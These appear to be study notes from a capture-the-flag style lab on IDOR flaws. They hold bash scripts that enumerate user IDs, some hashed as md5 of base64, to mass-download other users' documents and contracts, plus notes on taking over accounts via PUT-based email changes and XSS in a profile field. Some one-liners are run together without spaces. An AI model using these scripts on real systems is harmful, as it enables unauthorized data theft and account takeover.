#!/bin/bashurl="http://SERVER_IP:PORT"for i in {1..10}; dofor link in $(curl-s"$url/documents.php?uid=$i"|grep-oP"\/documents.*?.pdf"); dowget-q $url/$linkdonedone
Automation - POST request
#!/bin/bash
# Loop through UIDs from 1 to 10
for ((uid=1; uid<=10; uid++)); do
echo "UID $uid document links:"
curl -s -X POST http://94.237.53.169:45464/documents.php --data "uid=$uid" | awk -F "href='/documents/" '{for(i=2; i<=NF; i++){print $i}}' | awk -F "'" '{print $1}'
echo -e "\n" # Add a newline for clarity between responses
done
Tip: We are using the -n flag with echo, and the -w 0 flag with base64, to avoid adding newlines, in order to be able to calculate the md5 hash of the same value, without hashing newlines, as that would change the final md5 hash.
Mass Enumeration
$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
8b9af1f7f76daf0f02bd9c48c4a2e3d0
006d1236aee3f92b8322299796ba1989
b523ff8d1ced96cef9c86492e790c2fb
d477819d240e7d3dd9499ed8d23e7158
3e57e65a34ffcb2e93cb545d024f5bde
5d4aace023dc088767b4e08c79415dcd
#!/bin/bashfor i in {1..10}; dofor hash in $(echo-n $i |base64-w0|md5sum|tr-d' -'); docurl-sOJ-XPOST-d"contract=$hash"http://SERVER_IP:PORT/download.phpdonedone
{"uid":1,"uuid":"40f5888b67c748df7efba008e7c2f9d2","role":"employee","full_name":"Amy Lindon","email":"a_lindon@employees.htb","about":"A Release is like a boat. 80% of the holes plugged is not good enough."}
Use id 2 and uuid diclosed to change user info via PUT request
One type of attack is modifying a user's email address and then requesting a password reset link, which will be sent to the email address we specified, thus allowing us to take control over their account. Another potential attack is placing an XSS payload in the 'about' field